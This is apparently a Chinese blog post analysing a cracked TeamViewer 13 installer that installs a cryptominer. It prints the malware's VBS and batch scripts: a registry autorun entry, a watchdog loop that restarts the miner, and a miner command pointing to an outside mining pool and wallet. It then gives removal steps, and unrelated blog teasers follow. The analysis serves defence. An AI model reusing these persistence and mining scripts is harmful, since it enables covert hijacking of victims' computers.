跳至主要内容

你下载的TeamViewer13破解版可能有毒

0×0 故事背景
最近有个远程管理一下某内网服（tiao）务（ban）器（ji）的需求，映射到公网又不安全毕竟黑帽子这么多，思来想去之后还是觉得老老实实装个Teamviewer最靠谱，度娘一下发现还真的不少破解版资源可以下载，于是随意下载一个破解版准备开始操作。
0×1 安装过程
先看一下文件描述信息也没有发现什么问题，就开始下一步安装了。

安装完成了功能正常，一切OK，渐渐的电脑开始卡到爆，敏感的白帽子有一种不好的预感。

0×2 问题排查
开始仔细的检查一下进程列表在最后发现了一个奇怪的进程，居然被植入了挖矿病毒这个也太明显了吧，也不搞点进程注入无文件攻击之类的高端技术，系统盘下面也多了不少.bat与.vbs文件。

直接结束了挖矿的进程之后又自动起来了，还是看看这些同伴里面到底写了什么玩意。

0.Servicecrsssr.vbs： im WShellSet WShell = CreateObject("W.Shell")WShell.Run "%windir%\winvprse.bat", 0Set WShell = Nothing
1.Winprs.bat：
@Echo OffREG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run /v "Chrome" /f /t REG_SZ /d "%windir%\servicecrsssr.vbs"Exit
2.Winvpr.vbs：
im WShellSet WShell = CreateObject("W.Shell")WShell.Run "winprs.bat", 0Set WShell = Nothing
3.Winvprse.bat：
@echo offSETLOCAL EnableExtensions:starttimeout /t 160 /nobreak > NULecho offtasklist /FI "IMAGENAME eq wmipvrse.exe" 2>NUL | find /I /N "wmipvrse.exe" >NULif "%ERRORLEVEL%"=="0" goto starttasklist /FI "IMAGENAME eq wmipvrse.exe" 2>NUL | find /I /N "wmipvrse.exe" >NULif "%ERRORLEVEL%"=="1" goto processnotrunning:processnotrunningstart "" "%windir%\xdgaudio.vbs"goto startexit
4.xdgaudio.vbs
Dim WShell Set WShell = CreateObject("W.Shell")WShell.Run "wmipvrse.exe --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o stratum+tcp://krb.crypto-coins.club:5555 -u KjCJtxsXLAd4hUBXAUKxPSPn3L2YaAgihUUc8SQAaCfeG1QpN3kNyLyBRjRUdzmaAdYhMyoZJvUMceBuWcR3a9rnA3U4EBJ -p x", 0 Set WShell = Nothing
5.Wmipvrse.exe
矿池与钱包都这么出来了，看看到底挖了多少钱。

0×3 逆向分析 对Wmipvrse.exe这个进程里面的东西还是感到好奇，决定还是看一看，已经加壳了不过还好是UPX的标准壳可直接脱。
CPU-miner github上面的开源代码


0×4 病毒清理
事到如此根据几个vbs与bat文件的内容，运行原理还是比较清楚了，就动手清理了。
Step1：使用PCHunter删除6个病毒母体
servicecrsssr.vbs
Winprs.bat
Winvpr.vbs
Winvprse.bat
Wmipvrse.exe
xdgaudio.vbs
Step2：清除注册表

0×5 总结
1.下载软件尽量选择官方平台或者可信的第三方软件平台。
2.天下没有白吃的午餐，破解版软件里面可能含有一些让你惊喜的病毒木马后门，也许是一个大礼包呢。
3.安全无小事，日常需注意。

评论

发表评论

此博客中的热门博文

【反邪 | 柳州：融安县东起乡扶贫能手勇当反邪先锋】（龙政光）#我为反邪教代言##柳州反邪#在抗击新型冠状病毒感染的肺炎疫情的战疫中，融安县东起乡驻村工作队的队员们一直战斗在疫情防控一线，他们既是扶贫能手又是反邪先锋。疫情期间他们入户确保贫困户生活能得到保障、进行外来人口摸排、对重点对象进行监测、进行产业政策宣传、动员复工复产确保脱贫成果。同时向村民普及反邪教知识，进行防疫知识宣传并发放反邪教宣传手册，告诉他们什么是邪教，邪教的危害，要做到认知邪教，拒绝邪教！提醒村民防范邪教，防止邪教组织在疫情紧张时期拉拢蛊惑群众，如有外来人员宣传邪教时马上打110报警。反邪教工作的持续开展确保了东起乡的稳定安宁。@广西反邪教 @柳州政法

【反邪 | 柳州：融安县东起乡扶贫能手勇当反邪先锋】（龙政光）#我为 反邪教 代言##柳州反邪#在抗击新型冠状病毒感染的肺炎疫情的战疫中，融安县东起乡驻村工作队的队员们一直战斗在疫情防控一线，他们既是扶贫能手又是反邪先锋。疫情期间他们入户确保贫困户生活能得到保障、进行外来人口摸排、对重点对象进行监测、进行产业政策宣传、动员复工复产确保脱贫成果。同时向村民普及 反邪教 知识，进行防疫知识宣传并发放反 邪教 宣传手册，告诉他们什么是 邪教 ， 邪教 的危害，要做到认知 邪教 ，拒绝 邪教 ！提醒村民防范 邪教 ，防止 邪教 组织在疫情紧张时期拉拢蛊惑群众，如有外来人员宣传 邪教 时马上打110报警。 反邪教 工作的持续开展确保了东起乡的稳定安宁。@广西 反邪教 @柳州政法
发表评论
阅读全文

看《银翼杀手2049》前，先看看原著小说吧

电影名气这么大，原著小说也不简单，来自美国科幻界大师菲利普·迪克的《仿生人会梦见电子羊吗？》 菲利普·迪克精装套系 （美）菲利普·迪克 著 许东华 等译 译林出版社 2017年10月 　　韩松 　　1982年，雷德利·斯科特导演的电影《银翼杀手》上映，成为电影史上的科幻经典。时至今日，《银翼杀手》的魅力丝毫未减，其影响之深远已经超越了电影。35年后，电影续集《银翼杀手2049》10月27日在国内上映。电影名气这么大，原著小说也不简单，来自美国科幻界大师菲利普·迪克的《仿生人会梦见电子羊吗？》，这本有着奇怪名字的小说，是菲利普·迪克最负盛名的作品，也是各大科幻书单的必读书目，电影《银翼杀手》和《银翼杀手2049》的人物角色和灵感设想就是发源于此。 　　菲利普·迪克精装套系包括《仿生人会梦见电子羊吗？》《高堡奇人》《少数派报告》《尤比克》《流吧！我的眼泪》五部科幻小说。作品集中探讨“何为真实”以及“个体身份建构”，盛名经久不衰，有多部作品被改编成电影，包括《银翼杀手》《少数派报告》《全面回忆》等。以其名字命名的菲利普·K·迪克奖是美国科幻界的主要奖项之一。 　　 生前潦倒，死后盛名 　　关于迪克的生平，如今人们介绍得已经很多了，大致是这么一些情况： 　　他生于1928年，卒于1982年，只活了54岁。他作品中的不少人物，差不多也都命不长。 　　他活着时，几乎就是个“撸瑟”，也就是失败者。他有一个双胞胎妹妹，但出生后五周就死了。迪克认为是母亲照料不周，因此恨他妈，家庭关系不好。而父亲在迪克四岁时，也抛家而去。迪克结过五次婚，都离了。成年迪克靠安非他命活着，还吸毒，经常陷入神经错乱中。他有严重的焦虑症，不能与人正常交往。他还患上了妄想症，认为自己被联邦调查局和中央情报局监视。他有广场恐惧症，连在公众面前吃东西，都感到困难。他还患上了抑郁症，曾尝试自杀。他在70年代后，沉湎于超自然，并一度称获得天启。他只短暂地上过一年大学，读哲学，在加大伯克利分校。他基本上是自学成才。他一生大部分时间居住在加利福尼亚。 　　他是一位多产的作家，从1952年开始写作，到1982年去世，创作了整整30年，写了44部长篇小说，以及120多篇中短篇小说。他常常为挣稿费养活自己而拼命写。他没有其他工作。他的个人经济状况很窘迫，在50年代，一度连图书馆借书...
发表评论
阅读全文

糖尿病患者按这10种方法吃主食，升血糖慢，餐后血糖达标更有保障

主食的主要成分是碳水化合物，简称“糖类”，因为糖类会产生热量，所以吃了以后，就会升高血糖。但是，从古到今，人类生存，一日三餐，又离不开主食。 主食吃了升血糖，不吃又不行，那么，怎样才能吃主食让血糖升得慢一些呢？本文就告诉您10个方法。 1.吃粗粮比吃细粮升血糖慢 临床工作人员常会建议糖尿病患者适当吃点粗粮，就是因为粗粮中含有丰富的膳食纤维，膳食纤维是一种多糖类物质，不会被人体吸收，也不产生热量，所以，吃了不会明显升高血糖。 但是，有些患者就天天吃粗粮，甚至一天三餐，一次吃两三个馒头，那就失去了吃粗粮的意义。 粗粮中的膳食纤维掺合在细粮中，可起到延缓血糖升高的作用，吃多了，粗粮中的非膳食纤维成分同样会产生更多的热量。 所以，建议 糖尿病患者吃粗粮的时候，只是比同等量的细粮多吃几口而已，并不是吃得越多越好。最好粗粮细粮搭配着吃，交替着吃。 2.吃杂粮主食比吃纯粮主食升血糖慢 杂粮馒头指两种或两种以上的粮食磨成面粉做成的馒头，如将荞麦面、小麦面、玉米面、豆面等，其中的两种或三种，甚至四种，或者更多的面粉掺合起来做成的馒头，比单纯用一种面粉做成的馒头营养丰富，还升血糖慢。 如果 在杂粮馒头中加入部分菜叶，如芹菜叶等，升血糖更慢 。 杂米饭也是这个道理，将 大米、小米、豆类或其他米类中的两种或两种以上的米混杂在一起，蒸米饭，要比单纯蒸白米饭升血糖慢。 若在 蒸杂粮米饭的时候加入几块胡萝卜、南瓜等，还能补充一些维生素 等。 3.吃干饭比吃稀饭升血糖慢 现在很多患者知道吃大米稀饭升血糖快。这是因为稀饭经过反复熬煮、糊化，易于吸收，能够迅速升高血糖。 所以，有的患者不喝大米稀饭改喝小米稀饭， 小米稀饭同样能够较快升高血糖 。这不是大米和小米本身的原因，而是烹饪方式的结果。 任何一种米，只要熬烂，做成稀饭，都比干饭升血糖快。 为什么有的人喝麦片，升血糖快；有的人喝麦片，血糖升高不明显。升血糖慢的，是用开水冲了以后，及时食用；升血糖快的，也是缘于长时间的焖煮，性质变成稀饭了。 4.吃硬的比吃软的升血糖慢 同样是主食，如果选择 火烧、煎饼、窝头、烙饼 等相对干硬的的食物，需要较长时间的咀嚼、消化和吸收，就要比柔软的发糕、疙瘩汤、煮烂的面条等升血糖慢。 俗话说，有的人在人际交往方面，吃软不吃硬，糖尿病患者吃主食时...
发表评论
阅读全文